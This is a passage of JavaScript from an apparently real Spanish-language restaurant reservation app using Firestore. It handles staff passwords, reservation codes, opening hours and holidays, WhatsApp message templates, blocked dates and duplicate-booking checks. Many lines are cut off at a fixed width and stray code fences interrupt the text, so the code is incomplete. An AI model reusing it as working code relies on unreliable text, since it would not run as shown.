  db.collection('usuarios').doc(uid).update({activo: nuevoActivo}).then(cargarUsu
}

function cambiarMiPassword(){
  const pass = document.getElementById('fMiNuevaPass').value;
  if(!pass || pass.length < 6){ alert('La contraseña debe tener al menos 6 caract
  auth.currentUser.updatePassword(pass).then(() => {
    document.getElementById('fMiNuevaPass').value = '';
    const ok = document.getElementById('miPassGuardado');
```

```
    ok.style.display = 'inline';
    setTimeout(() => ok.style.display = 'none', 2500);
  }).catch(err => {
    console.error('Error cambiando contraseña:', err);
    alert('No se pudo actualizar. Es posible que tengas que volver a iniciar sesi
  });
}

// Agrega las iniciales del usuario que tiene la sesión abierta a los datos
// de una reserva antes de guardarla — así queda registro de quién hizo o
// tocó por última vez cada reserva, sin importar el canal (teléfono,
// WhatsApp, presencial, etc). "creadoPor" solo se pone una vez, al crear.
function sellarUsuarioEnReserva(data, esNueva){
  if(!usuarioActual) return;
  data.ultimoEditorIniciales = usuarioActual.iniciales;
  data.ultimoEditorNombre = usuarioActual.nombre;
  if(esNueva){
    data.creadoPorIniciales = usuarioActual.iniciales;
    data.creadoPorNombre = usuarioActual.nombre;
  }
}

// ===== CÓDIGO DE RESERVA (consecutivo) =====
// Cada reserva o solicitud NUEVA — sin importar si nace por teléfono,
// presencial, o desde el link de WhatsApp que llena el cliente — recibe un
// código único y consecutivo (R-000001, R-000002...). Se genera con una
// transacción de Firestore sobre un contador guardado en
// configuracion/contadorReservas, así nunca se repite un número aunque dos
// personas guarden al mismo tiempo desde equipos distintos.
function generarCodigoReserva(){
  const ref = db.collection('configuracion').doc('contadorReservas');
  return db.runTransaction(tx => {
    return tx.get(ref).then(doc => {
      const actual = (doc.exists && Number(doc.data().ultimo)) || 0;
      const siguiente = actual + 1;
      tx.set(ref, {ultimo: siguiente}, {merge:true});
      return siguiente;
    });
  }).then(n => 'R-' + String(n).padStart(6,'0'));
}

// Fecha Y HORA exactas en que llegó/se inició la solicitud (no solo el día),
// para poder mostrar "esta solicitud lleva sin responder desde las 3:40 pm".
function horaSolicitudActual(){
  return new Date().toISOString();
}
```

```
/* ============ DATA MODEL ============ */

const SALONES_SEED = [
  {id:'tiempo', nombre:'Salón del Tiempo', vip:false, mesas:[
    {id:'T1',cap:20},{id:'T28',cap:20},{id:'T29',cap:20},{id:'T30',cap:20},
    {id:'T31',cap:20},{id:'T32',cap:20},{id:'T33',cap:20},{id:'T34',cap:20}
  ]},
  {id:'gran', nombre:'Gran Salón', vip:false, mesas:[
    {id:'G7',cap:6},{id:'G8',cap:21},{id:'G9',cap:21},{id:'G10',cap:21},{id:'G11'
    {id:'G12',cap:21},{id:'G13',cap:2},{id:'G14',cap:3},{id:'G15',cap:5},{id:'G16
    {id:'G20',cap:2},{id:'G21',cap:4},{id:'G22',cap:2},{id:'G23',cap:2},{id:'G24'
  ]},
  {id:'celia', nombre:'Salón Celia', vip:false, mesas:[
    {id:'C-Corbeta',cap:10},{id:'C-29',cap:2},{id:'C-26',cap:2}
  ]},
  {id:'bar', nombre:'Bar Chocolate + Lobby', vip:false, mesas:[
    {id:'B1',cap:4},{id:'B2',cap:4},{id:'B3',cap:6}
  ]},
  {id:'terraza', nombre:'Terraza', vip:false, mesas:[
    {id:'Te1',cap:4},{id:'Te2',cap:4},{id:'Te3',cap:6},{id:'Te4',cap:2}
  ]},
  {id:'marlyn', nombre:'Marlyn', vip:false, mesas:[
    {id:'M24',cap:6},{id:'M27',cap:6}
  ]},
  {id:'vipgrande', nombre:'VIP Grande', vip:true, mesas:[
    {id:'VIP-GRANDE-VIP',cap:52}
  ]},
  {id:'vipazul', nombre:'VIP Azul', vip:true, mesas:[
    {id:'VIP-AZUL-VIP',cap:40}
  ]},
  {id:'vippeq', nombre:'VIP Pequeña', vip:true, mesas:[
    {id:'VIP-PEQUEÑA-VIP',cap:24}
  ]},
];

// SALONES ahora vive en Firestore (colección 'salones'), editable desde la
// app. SALONES_SEED de arriba solo se usa una vez, la primera vez que se
// abre la app, para no arrancar con el plano completamente vacío.
let SALONES = [];
const salonesRef = db.collection('salones');

function actualizarEstadoConexion(conectado){
  const el = document.getElementById('estadoConexion');
  const texto = document.getElementById('estadoConexionTexto');
  const btnForzar = document.getElementById('btnForzarConexion');
  el.classList.remove('conectado','desconectado');
```

```
  if(conectado){
    el.classList.add('conectado');
    texto.textContent = 'Conectado a la base de datos';
  } else {
    el.classList.add('desconectado');
    texto.textContent = 'Sin conexión a la base de datos';
  }
  // El botón "Forzar conexión" solo se ve mientras está desconectado —
  // sirve sobre todo cuando se acaba de instalar la app en el teléfono de
  // un empleado y se queda pegada en "Sin conexión" (a veces pasa por el
  // orden en que carga la red la primera vez). Recargar desde cero
  // resuelve eso en casi todos los casos, sin que el staff tenga que
  // saber qué está pasando.
  if(btnForzar) btnForzar.style.display = conectado ? 'none' : 'inline-flex';
}
function forzarReconexion(){
  location.reload();
}
window.addEventListener('offline', () => actualizarEstadoConexion(false));
window.addEventListener('online', () => actualizarEstadoConexion(true));

salonesRef.get().then(snap => {
  if (snap.empty) {
    const batch = db.batch();
    SALONES_SEED.forEach(s => batch.set(salonesRef.doc(s.id), {nombre:s.nombre, v
    return batch.commit();
  }
}).then(() => {
  salonesRef.onSnapshot(snap => {
    SALONES = snap.docs.map(d => ({ id: d.id, ...d.data() }));
    actualizarEstadoConexion(true);
    renderAll();
    renderSolicitudesScreen();
    renderSalonesScreen();
  }, err => {
    console.error('Error de conexión en salones:', err);
    actualizarEstadoConexion(false);
  });
}).catch(err => {
  console.error('Error conectando salones con Firestore:', err);
  actualizarEstadoConexion(false);
});

// Horario real de atención, día por día (no agrupado) — vive en Firestore
// para poder editarse desde Config → "Horario de atención". Incluye dos
// entradas especiales: "festivo" (cualquier día marcado como festivo en
// la lista de abajo) y "domingoAntesFestivo" (un domingo cuyo lunes
```

```
// siguiente es festivo — suele tener horario extendido de cena).
const DIAS_SEMANA_ORDEN = ['lunes','martes','miercoles','jueves','viernes','sabad
const DIA_LABEL = {lunes:'Lunes', martes:'Martes', miercoles:'Miércoles', jueves:
function clonarTurnos(t){ return JSON.parse(JSON.stringify(t)); }
const TURNOS_LUNJUE_DEFAULT = {desayuno:{activo:true,inicio:'08:00',fin:'11:30',c
const TURNOS_VIESAB_DEFAULT = {desayuno:{activo:true,inicio:'08:00',fin:'11:30',c
const TURNOS_DOMINGO_DEFAULT = {desayuno:{activo:true,inicio:'08:00',fin:'12:00',
const TURNOS_DOMINGO_ANTES_FESTIVO_DEFAULT = {desayuno:{activo:true,inicio:'08:00
const HORARIOS_SEED = {
  lunes: clonarTurnos(TURNOS_LUNJUE_DEFAULT),
  martes: clonarTurnos(TURNOS_LUNJUE_DEFAULT),
  miercoles: clonarTurnos(TURNOS_LUNJUE_DEFAULT),
  jueves: clonarTurnos(TURNOS_LUNJUE_DEFAULT),
  viernes: clonarTurnos(TURNOS_VIESAB_DEFAULT),
  sabado: clonarTurnos(TURNOS_VIESAB_DEFAULT),
  domingo: clonarTurnos(TURNOS_DOMINGO_DEFAULT),
  festivo: clonarTurnos(TURNOS_DOMINGO_DEFAULT),
  domingoAntesFestivo: clonarTurnos(TURNOS_DOMINGO_ANTES_FESTIVO_DEFAULT),
};
let HORARIOS = JSON.parse(JSON.stringify(HORARIOS_SEED));
const horariosConfigRef = db.collection('configuracion').doc('horarios');
let suprimirRenderHorarios = false;
// Hora de corte entre "Cena 1" (temprano) y "Cena 2" (show) — SOLO viernes
// y sábado. Es un dato de referencia para el staff (una sugerencia de hora
// de salida); NO bloquea mesas por sí solo — la disponibilidad real la
// sigue manejando el campo horaSalida de cada reserva (ver ocupadasPorOtro
// en el selector de mesas). Se edita desde Config → Horario de atención.
let CORTE_CENA_FINDE = '21:00';

horariosConfigRef.get().then(snap => {
  if(!snap.exists){
    return horariosConfigRef.set({...HORARIOS_SEED, corteCenaFinDeSemana: CORTE_C
  }
  const data = snap.data();
  // Migración desde la versión anterior (agrupada en "lunjue" / "viesab" /
  // "domingo") al horario individual por día — se hace UNA sola vez, para
  // no perder lo que ya se había configurado a mano (capacidad, horas,
  // activo/inactivo). De ahí en adelante cada día queda independiente.
  if(data.lunjue && !data.lunes){
    const migrado = {
      lunes: data.lunjue, martes: data.lunjue, miercoles: data.lunjue, jueves: da
      viernes: data.viesab || HORARIOS_SEED.viernes, sabado: data.viesab || HORAR
      domingo: data.domingo || HORARIOS_SEED.domingo,
      festivo: HORARIOS_SEED.festivo,
      domingoAntesFestivo: HORARIOS_SEED.domingoAntesFestivo,
      corteCenaFinDeSemana: data.corteCenaFinDeSemana || CORTE_CENA_FINDE,
    };
```

```
    return horariosConfigRef.set(migrado);
  }
}).then(() => {
  horariosConfigRef.onSnapshot(snap => {
    if(snap.exists){
      const data = snap.data();
      CORTE_CENA_FINDE = data.corteCenaFinDeSemana || CORTE_CENA_FINDE;
      // Combinamos con el seed por si falta algún día/turno (por ejemplo,
      // festivo/domingoAntesFestivo en un documento migrado antes de que
      // existieran).
      HORARIOS = {};
      Object.keys(HORARIOS_SEED).forEach(key => {
        HORARIOS[key] = {...HORARIOS_SEED[key], ...(data[key]||{})};
      });
      renderAll();
      // Si este cambio lo acabamos de guardar nosotros mismos (tocando un
      // campo de hora/activo/capacidad), NO reconstruimos la grilla: eso
      // borraba y recreaba los inputs mientras el selector nativo de hora
      // seguía abierto, y por eso se cerraba solo a mitad de camino. Los
      // valores en pantalla ya son los correctos porque el usuario los
      // acaba de escribir — solo re-renderizamos cuando el cambio viene
      // de otro lado (otro empleado, u otra pestaña del mismo usuario).
      if(!suprimirRenderHorarios){
        renderCapacidadTurnos();
        const corteInput = document.getElementById('fCorteCenaFinde');
        if(corteInput) corteInput.value = CORTE_CENA_FINDE;
      }
      suprimirRenderHorarios = false;
    }
  }, err => console.error('Error de conexión en configuración de horarios:', err)
}).catch(err => console.error('Error conectando configuración de horarios:', err)

// Lista de fechas festivas (YYYY-MM-DD) — la mantiene el staff a mano,
// porque los festivos colombianos cambian de año en año y varios se
// corren al lunes siguiente (Ley Emiliani). Cuando la fecha de una
// reserva está en esta lista, se usa el horario "festivo" en vez del que
// le tocaría por día de la semana; y si la fecha es un domingo y el lunes
// siguiente está en la lista, se usa "domingoAntesFestivo".
let FESTIVOS = [];
const festivosConfigRef = db.collection('configuracion').doc('festivos');
festivosConfigRef.onSnapshot(snap => {
  FESTIVOS = (snap.exists && Array.isArray(snap.data().fechas)) ? snap.data().fec
  renderFestivos();
}, err => console.error('Error de conexión en festivos:', err));

function fechaEsFestivo(fechaIso){ return FESTIVOS.includes(fechaIso); }
function fechaSiguiente(fechaIso){
```

```
  const [y,m,d] = fechaIso.split('-').map(Number);
  const dt = new Date(y, m-1, d, 12);
  dt.setDate(dt.getDate()+1);
  return `${dt.getFullYear()}-${String(dt.getMonth()+1).padStart(2,'0')}-${String
}
// Dado un objeto Date o una fecha ISO, decide qué llave de HORARIOS usar:
// festivo > domingo-antes-de-festivo > el día de la semana que le toque.
function claveHorarioParaFecha(fechaIsoODate){
  let fechaIso;
  if(fechaIsoODate instanceof Date){
    const dt = fechaIsoODate;
    fechaIso = `${dt.getFullYear()}-${String(dt.getMonth()+1).padStart(2,'0')}-${
  } else {
    fechaIso = fechaIsoODate;
  }
  if(fechaEsFestivo(fechaIso)) return 'festivo';
  const [y,m,d] = fechaIso.split('-').map(Number);
  const dow = new Date(y, m-1, d, 12).getDay(); // 0=domingo
  if(dow === 0 && fechaEsFestivo(fechaSiguiente(fechaIso))) return 'domingoAntesF
  return DIAS_SEMANA_ORDEN[(dow+6)%7]; // getDay():0=domingo..6=sábado → índice e
}

// Mismas funciones que usa solicitud.html del lado del cliente — para
// avisarle al STAFF de una vez si la hora que está por confirmar (al
// tomar una reserva por teléfono) cae fuera del horario real de
// atención ese día. A diferencia del cliente, aquí es solo un aviso: el
// staff puede confirmar de todas formas si tiene una buena razón.
const HORARIOS_TURNO_LABEL = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cen
function textoHorariosDelDia(fechaIso){
  const grupo = HORARIOS[claveHorarioParaFecha(fechaIso)];
  if(!grupo) return '';
  const partes = ['desayuno','almuerzo','cena']
    .filter(t => grupo[t] && grupo[t].activo !== false)
    .map(t => `${HORARIOS_TURNO_LABEL[t]}: ${grupo[t].inicio} a ${grupo[t].fin}`)
  if(!partes.length) return 'Ese día no tenemos servicio.';
  return 'Nuestro horario ese día es — ' + partes.join(' · ');
}
function validarHorarioReal(fechaIso, turno, horaHHMM){
  const grupo = HORARIOS[claveHorarioParaFecha(fechaIso)];
  if(!grupo) return null;
  const t = grupo[turno];
  if(!t || t.activo === false){
    return `Este turno está fuera del horario real de atención. ${textoHorariosDe
  }
  if(horaHHMM && t.inicio && t.fin){
    // Si "fin" es menor que "inicio" (ej. Cena de 17:30 a 03:00), el turno
    // cruza la medianoche — ahí la hora es válida si es DESPUÉS de inicio
```

```
    // O ANTES de fin, no "entre los dos" como en un turno normal (si no,
    // una comparación de texto simple marcaba 8pm como fuera de horario
    // por "ser mayor" que "03:00").
    const cruzaMedianoche = t.fin < t.inicio;
    const dentroDeHorario = cruzaMedianoche
      ? (horaHHMM >= t.inicio || horaHHMM <= t.fin)
      : (horaHHMM >= t.inicio && horaHHMM <= t.fin);
    if(!dentroDeHorario){
      return `Esta hora está fuera del horario real de atención. ${textoHorariosD
    }
  }
  return null;
}

function agregarFestivo(fechaIso){
  if(!fechaIso) return;
  if(FESTIVOS.includes(fechaIso)) return;
  const nuevos = [...FESTIVOS, fechaIso].sort();
  festivosConfigRef.set({fechas: nuevos}, {merge:true}).catch(err => {
    alert('No se pudo agregar el festivo. Revisa tu conexión e intenta de nuevo.'
    console.error(err);
  });
}
function quitarFestivo(fechaIso){
  const nuevos = FESTIVOS.filter(f => f !== fechaIso);
  festivosConfigRef.set({fechas: nuevos}, {merge:true}).catch(err => {
    alert('No se pudo quitar el festivo. Revisa tu conexión e intenta de nuevo.')
    console.error(err);
  });
}
function renderFestivos(){
  const el = document.getElementById('listaFestivos');
  if(!el) return;
  if(!FESTIVOS.length){
    el.innerHTML = '<div class="config-mensaje-sub">Todavía no has agregado ningú
    return;
  }
  el.innerHTML = FESTIVOS.map(f => {
    const [y,m,d] = f.split('-').map(Number);
    const fechaObj = new Date(y, m-1, d, 12);
    const texto = `${DIAS[fechaObj.getDay()]} ${d} de ${MESES[m-1]} de ${y}`;
    return `<div style="display:flex; align-items:center; justify-content:space-b
      <span style="font-size:12.5px;">${texto}</span>
      <button class="btn-config-restaurar" onclick="quitarFestivo('${f}')">Quitar
    </div>`;
  }).join('');
}
```

```
// Plano maestro (el mismo que se edita en salones.html): lo usamos en la
// pestaña "Plano" de Por día para mostrar la ocupación real de cada
// día/turno sobre la misma distribución visual, no un simple listado.
let PLANO_MAESTRO = null;
// 'grid' (cuadrícula fija de siempre) o 'libre' (mesas/zonas con posición
// propia, como las que se diseñan en Salones con el editor nuevo) — dice
// qué juego de funciones (buildZoneGridPlano/Picker o buildLibrePlano*)
// hay que usar para dibujar PLANO_MAESTRO ahora mismo.
let PLANO_MAESTRO_FORMATO = 'grid';
// Si la fecha/turno de la reserva que se está editando cae en un evento
// especial con su propio plano asignado, esto guarda ESE plano (ya
// descargado y listo) — el selector de mesas lo usa en vez del general.
// null = no aplica, se usa el plano general de siempre.
let PLANO_EVENTO_ACTUAL = null;
let planoEventoCacheById = {}; // id de plano -> su json ya descargado, para no r
function planoIdParaFechaTurno(fecha, turno){
  const ev = eventosCache.find(e => e.fecha === fecha && e.turno === turno && e.p
  return ev ? ev.planoId : null;
}

// ===== Plano General: cuadrícula de siempre, o un plano de formato libre
// activado desde Salones =====
// Por defecto el plano "General" sigue siendo el de cuadrícula fija de
// siempre (configuracion/planoMesas), exactamente como antes. Pero desde
// Salones se puede activar CUALQUIER plano de formato libre (por ejemplo
// "PERMANENTE") para que haga las veces de General en toda la app — Plano
// del día, selector de mesas al crear/editar una reserva, informe, etc.
// Esto se guarda como un CAMPO nuevo (`planoGeneralActivoId`) dentro del
// MISMO documento configuracion/planoMesas de siempre — a propósito, en
// vez de un documento nuevo aparte, para no depender de que alguien abra
// las reglas de seguridad de Firestore para un documento que nunca
// existió (eso fue justo lo que falló al probarlo: "No se pudo
// actualizar" al tocar el botón en Salones, porque un documento nuevo
// bajo configuracion/ no estaba permitido por las reglas — este mismo
// documento sí lo está, se usa para guardar el plano General hace rato).
// Si el campo no existe o está vacío, todo sigue funcionando exactamente
// igual que siempre (formato grid). El plano de cuadrícula (campo `json`
// de este mismo documento) NUNCA se borra ni se modifica por esto — sigue
// intacto, listo para reactivarlo con solo quitarle este campo.
let planoMaestroUnsubLibre = null;
let planoMaestroLibreIdActual = null;
function suscribirPlanoMaestroLibre(planoId){
  if(planoMaestroLibreIdActual === planoId && planoMaestroUnsubLibre) return;
  if(planoMaestroUnsubLibre){ planoMaestroUnsubLibre(); planoMaestroUnsubLibre =
  planoMaestroLibreIdActual = planoId;
  planoMaestroUnsubLibre = db.collection('planosMesasEventos').doc(planoId).onSna
```

```
    if(snap.exists && snap.data().json){
      try { PLANO_MAESTRO = JSON.parse(snap.data().json); }
      catch(e){ console.error('Plano General (formato libre) inválido:', e); PLAN
    } else {
      PLANO_MAESTRO = null;
    }
    PLANO_MAESTRO_FORMATO = 'libre';
    if(vistaActual==='plano') renderPlano();
  }, err => console.error('Error de conexión con el plano General (libre):', err)
}
db.collection('configuracion').doc('planoMesas').onSnapshot(snap => {
  const data = snap.exists ? (snap.data() || {}) : {};
  const planoIdActivo = data.planoGeneralActivoId || null;
  if(planoIdActivo){
    suscribirPlanoMaestroLibre(planoIdActivo);
    return;
  }
  if(planoMaestroUnsubLibre){ planoMaestroUnsubLibre(); planoMaestroUnsubLibre =
  if(data.json){
    try { PLANO_MAESTRO = JSON.parse(data.json); }
    catch(e){ console.error('Plano maestro con formato inválido:', e); }
  } else {
    PLANO_MAESTRO = null;
  }
  PLANO_MAESTRO_FORMATO = 'grid';
  if(vistaActual==='plano') renderPlano();
}, err => console.error('Error de conexión con el plano maestro:', err));

function actualizarCapacidad(grupoKey, turnoKey, valor){
  const cap = Math.max(0, Math.round(Number(valor)) || 0);
  const grupoActualizado = { ...HORARIOS[grupoKey], [turnoKey]: { ...HORARIOS[gru
  suprimirRenderHorarios = true;
  horariosConfigRef.set({ [grupoKey]: grupoActualizado }, { merge: true }).catch(
    suprimirRenderHorarios = false;
    alert('No se pudo guardar la capacidad. Revisa tu conexión e intenta de nuevo
    console.error(err);
  });
}

// Prender/apagar un turno completo (por ejemplo, "Domingo → Cena" apagado
// porque ese día no hay servicio de cena). Cuando está apagado, el cliente
// ya no puede elegir ese turno al reservar desde solicitud.html — se lo
// avisa de una vez, sin dejarlo completar una reserva para un horario que
// no existe.
function actualizarActivoTurno(grupoKey, turnoKey, activo){
  const grupoActualizado = { ...HORARIOS[grupoKey], [turnoKey]: { ...HORARIOS[gru
  suprimirRenderHorarios = true;
```

```
  horariosConfigRef.set({ [grupoKey]: grupoActualizado }, { merge: true }).catch(
    suprimirRenderHorarios = false;
    alert('No se pudo guardar el cambio. Revisa tu conexión e intenta de nuevo.')
    console.error(err);
  });
}

// Hora de inicio/fin real de cada turno — esto es lo que usa
// solicitud.html para saber si la hora que el cliente está pidiendo cae
// dentro del horario de atención real del restaurante ese día.
//
// IMPORTANTE: no se reconstruye la grilla completa después de guardar
// (ver la bandera suprimirRenderHorarios más arriba) — si se reconstruye
// mientras el selector nativo de hora del celular sigue abierto, el
// selector se cierra solo a mitad de camino, antes de que la persona
// termine de mover la hora o los minutos.
function actualizarHorarioTurno(grupoKey, turnoKey, campo, valor){
  if(!valor) return;
  const grupoActualizado = { ...HORARIOS[grupoKey], [turnoKey]: { ...HORARIOS[gru
  suprimirRenderHorarios = true;
  horariosConfigRef.set({ [grupoKey]: grupoActualizado }, { merge: true }).catch(
    suprimirRenderHorarios = false;
    alert('No se pudo guardar el horario. Revisa tu conexión e intenta de nuevo.'
    console.error(err);
  });
}

function renderCapacidadTurnos(){
  const el = document.getElementById('capacidadTurnosGrid');
  if(!el) return;
  const grupos = [...DIAS_SEMANA_ORDEN, 'festivo', 'domingoAntesFestivo'].map(k =
  const turnos = [['desayuno','Desayuno'],['almuerzo','Almuerzo'],['cena','Cena']
  el.innerHTML = grupos.map(([gKey,gLabel])=>`
    <div class="capacidad-grupo">
      <div class="capacidad-grupo-label">${gLabel}</div>
      <div class="capacidad-grupo-turnos">
        ${turnos.map(([tKey,tLabel])=>{
          const t = HORARIOS[gKey][tKey];
          return `
          <label class="capacidad-turno-item ${t.activo===false?'turno-inactivo':
            <div class="capacidad-turno-activo-row">
              <span class="capacidad-turno-label">${tLabel}</span>
              <span class="switch-mini">
                <input type="checkbox" ${t.activo!==false?'checked':''} onchange=
                <span class="track"></span>
              </span>
            </div>
```

```
            <div class="capacidad-turno-horas-row">
              <input type="time" value="${t.inicio||''}" onchange="actualizarHora
              <span>a</span>
              <input type="time" value="${t.fin||''}" onchange="actualizarHorario
            </div>
            <input type="number" min="0" step="1" inputmode="numeric"
              value="${t.cap}" placeholder="Capacidad"
              onchange="actualizarCapacidad('${gKey}','${tKey}', this.value)">
          </label>`;
        }).join('')}
      </div>
    </div>`).join('');
}

// Hora de corte editable entre Cena 1 (temprano) y Cena 2 (show), solo
// viernes/sábado. Ver nota junto a CORTE_CENA_FINDE más arriba: es un dato
// de referencia (sugerencia de hora de salida), no altera la disponibilidad
// de mesas por sí solo.
function actualizarCorteCenaFinDeSemana(valor){
  if(!valor) return;
  CORTE_CENA_FINDE = valor;
  suprimirRenderHorarios = true;
  horariosConfigRef.set({ corteCenaFinDeSemana: valor }, { merge: true }).catch(e
    suprimirRenderHorarios = false;
    alert('No se pudo guardar la hora de corte. Revisa tu conexión e intenta de n
    console.error(err);
  });
}

// ============ CONFIGURACIÓN: MENSAJES DE WHATSAPP ============
// Los dos mensajes que se envían al cliente (solicitud y aprobación) viven
// en Firestore para poder editarlos desde la pantalla de Configuración sin
// tocar código. Se guardan con placeholders {nombre} y {link} que se
// reemplazan automáticamente al enviar cada mensaje.
const MENSAJES_SEED = {
  solicitud: `¡Hola, {nombre}! 👋✨
Bienvenido a La Matriarca Barranquilla 🍽️

❤️ ¡Qué alegría saber que quieres visitarnos!

Para solicitar tu reserva, completa los detalles de tu visita aquí:

🔗 SOLICITAR MI RESERVA
{link}

Recibiremos tu solicitud y verificaremos la disponibilidad. Si todo está OK, te e
```

⚠️ Importante: Tu reserva quedará confirmada únicamente después de tu aprobación

La Matriarca Barranquilla ✨
¡Te esperamos! ❤️`,
  aprobacion: `¡Hola, {nombre}! 👋✨

Tenemos disponibilidad para tu solicitud de reserva en La Matriarca Barranquilla.

📋 *Detalles de tu reserva:*
📅 Fecha: {fecha}
🕒 Hora: {hora}
👥 Personas: {pax}
🪑 Mesa/Zona: {mesa}
💰 Abono: {abono}
🎟️ Cover: {cover}
🍽️ Menú: {menu}

Ahora solo falta que revises los detalles y, si todo está correcto, apruebes tu r

🔗 REVISAR Y APROBAR MI RESERVA
{link}

✅ Una vez realizada tu aprobación, tu reserva quedará confirmada.

La Matriarca Barranquilla ✨
¡Te esperamos! ❤️`,
};
let MENSAJES = { ...MENSAJES_SEED };
const mensajesConfigRef = db.collection('configuracion').doc('mensajes');

mensajesConfigRef.get().then(snap => {
  if(!snap.exists){
    return mensajesConfigRef.set(MENSAJES_SEED);
  }
}).then(() => {
  mensajesConfigRef.onSnapshot(snap => {
    if(snap.exists){
      const data = snap.data();
      MENSAJES = {
        solicitud: data.solicitud !== undefined ? data.solicitud : MENSAJES_SEED.
        aprobacion: data.aprobacion !== undefined ? data.aprobacion : MENSAJES_SE
      };
      renderConfigMensajes();
    }
  }, err => console.error('Error de conexión en configuración de mensajes:', err)
}).catch(err => console.error('Error conectando configuración de mensajes:', err)

```
function armarMensaje(plantilla, valores){
  // valores es un objeto: {nombre, link, fecha, hora, pax, mesa, abono, menu, ..
  // Cualquier placeholder {clave} en la plantilla que no venga en "valores"
  // simplemente se deja en blanco, para no romper mensajes más simples
  // (como el de solicitud, que solo usa {nombre} y {link}).
  let msg = plantilla;
  for(const clave in valores){
    msg = msg.replace(new RegExp(`\\{${clave}\\}`, 'g'), valores[clave] !== undef
  }
  return msg;
}

/* ============ FECHAS/TURNOS BLOQUEADOS ============ */
// Para eventos que llenan el cupo, o días que el restaurante decide cerrar
// para reservas nuevas (un concierto, un cierre por mantenimiento, etc.).
// Estructura: { "2026-09-17": { desayuno:true, almuerzo:false, cena:true,
// motivo:"Concierto — cupo lleno" } }. Este mismo documento lo lee también
// solicitud.html (el formulario público del cliente) para no dejarlo
// avanzar con una fecha/turno bloqueado — por eso necesita permiso de
// lectura pública en las reglas de Firestore, igual que el carrusel.
let FECHAS_BLOQUEADAS = {};
const fechasBloqueadasRef = db.collection('configuracion').doc('fechasBloqueadas'
fechasBloqueadasRef.onSnapshot(snap => {
  FECHAS_BLOQUEADAS = snap.exists ? (snap.data() || {}) : {};
  if(typeof renderCalendarioInline === 'function') renderCalendarioInline();
  if(typeof renderLista === 'function' && vistaApp === 'porDia') renderLista();
}, err => console.error('Error de conexión en fechas bloqueadas:', err));

// Cada turno bloqueado guarda su propio "tipo":
//  - 'evento_privado' → bloqueo total. El restaurante está reservado
//                       completo (evento privado); el cliente ni siquiera
//                       puede intentarlo, no hay lista de espera.
//                       ("evento" a secas, de versiones viejas, se sigue
//                       tratando igual — ver esBloqueoDuro más abajo.)
//  - 'disponibilidad' → cupo lleno por ahora. El cliente sí puede seguir
//                       y quedar en lista de espera si quiere.
//  - 'show_especial'  → NO bloquea nada. El cliente ve la publicidad del
//                       show/concierto (imagen tamaño carrusel) antes de
//                       continuar con su reserva normal para ese turno.
// Estructura: FECHAS_BLOQUEADAS["2026-09-17"] = { desayuno:{tipo:'evento_privado
// almuerzo:false, cena:{tipo:'show_especial', imagen:'data:...'}, motivo:'...' }
function infoBloqueoTurno(fechaIso, turno){
  const dia = FECHAS_BLOQUEADAS[fechaIso];
  if(!dia) return null;
  if(turno === 'todos'){
    return dia.desayuno || dia.almuerzo || dia.cena || null;
  }
```

```
  return dia[turno] || null;
}
// "Bloqueado" para efectos de disponibilidad = de verdad restringe al
// cliente (evento privado o cupo lleno). Un show especial NO cuenta como
// bloqueado — el cliente puede reservar igual, solo se le avisa primero.
function esBloqueoDuro(info){
  return !!info && info.tipo !== 'show_especial';
}
function turnoBloqueado(fechaIso, turno){
  return esBloqueoDuro(infoBloqueoTurno(fechaIso, turno));
}

/* ============ CONFIRMACIÓN DE HORA — Nueva reserva por teléfono ============ */
// Mismo patrón que usa solicitud.html del lado del cliente: al crear una
// reserva nueva por teléfono, hay que confirmar la hora a propósito antes
// de ver el resto del formulario — y si el turno elegido tiene algún
// bloqueo (evento privado, sin disponibilidad, o show especial), sale un
// aviso ANTES de dejar continuar. A diferencia del cliente, el staff SÍ
// puede seguir adelante si quiere (tiene la autoridad para hacer
// excepciones), pero tiene que verlo y confirmarlo a propósito, en vez de
// crearla a ciegas. Esto solo aplica al CREAR una reserva nueva — al
// EDITAR una que ya existe (editandoId con valor), el formulario se
// muestra completo de una vez, como siempre.
function bloquearFormularioTelefonoPorHoraSinConfirmar(){
  if(editandoId) return;
  const resto = document.getElementById('restoFormularioTelefono');
  const btn = document.getElementById('btnConfirmarHoraTelefono');
  const aviso = document.getElementById('avisoHoraSinConfirmarTelefono');
  if(!resto || !btn) return;
  resto.style.display = 'none';
  btn.style.display = 'block';
  btn.classList.remove('confirmada');
  btn.textContent = '✓ Confirmar hora seleccionada';
  if(aviso) aviso.style.display = 'block';
}
function desbloquearFormularioTelefonoComoConfirmado(){
  const resto = document.getElementById('restoFormularioTelefono');
  const btn = document.getElementById('btnConfirmarHoraTelefono');
  const aviso = document.getElementById('avisoHoraSinConfirmarTelefono');
  if(!resto) return;
  resto.style.display = 'block';
  if(btn){ btn.classList.add('confirmada'); btn.textContent = '✓ Hora confirmada'
  if(aviso) aviso.style.display = 'none';
}
// ============ BLOQUEO POR RESERVA DUPLICADA ============
// Apenas se detecta que el celular ingresado ya tiene otra reserva activa
// para esta fecha y turno, se oculta TODO lo que viene después (nombre,
```

```
// pax, mesa, botón de guardar, etc.) — el staff no puede seguir cargando
// datos ni guardar nada hasta que cambie la fecha o el turno (o el
// celular), porque ya se sabe que hay un problema y no tiene sentido
// seguir llenando un formulario que no se va a poder guardar así.
function bloquearFormularioTelefonoPorDuplicado(mensaje){
  const bloque = document.getElementById('bloqueDatosPostCelular');
  const aviso = document.getElementById('avisoReservaDuplicadaModal');
  if(bloque) bloque.style.display = 'none';
  if(aviso){ aviso.textContent = mensaje; aviso.style.display = 'block'; }
}
function desbloquearFormularioTelefonoPorDuplicado(){
  const bloque = document.getElementById('bloqueDatosPostCelular');
  const aviso = document.getElementById('avisoReservaDuplicadaModal');
  if(bloque) bloque.style.display = 'block';
  if(aviso) aviso.style.display = 'none';
}
function revisarDuplicadoEnModalTelefono(){
  const celularLocal = document.getElementById('fCelular').value.trim().replace(/
  if(celularLocal.length < 7){ desbloquearFormularioTelefonoPorDuplicado(); retur
  const celularCod = document.getElementById('fCelularCod').value;
  const fecha = document.getElementById('fFechaReservaEdit').value || modalFecha;
  const turno = document.getElementById('fTurnoReservaEdit').value || modalTurno;
  const dup = buscarReservaDuplicada(fecha, turno, `+${celularCod} ${celularLocal
  if(dup){
    bloquearFormularioTelefonoPorDuplicado(mensajeReservaDuplicada(dup));
  } else {
    desbloquearFormularioTelefonoPorDuplicado();
  }
}
function confirmarHoraSeleccionadaTelefono(){
  // El celular es la entrada: sin él no se puede validar nada (ni si la
  // fecha está bloqueada, ni si ya existe una reserva igual), así que se
  // pide primero.
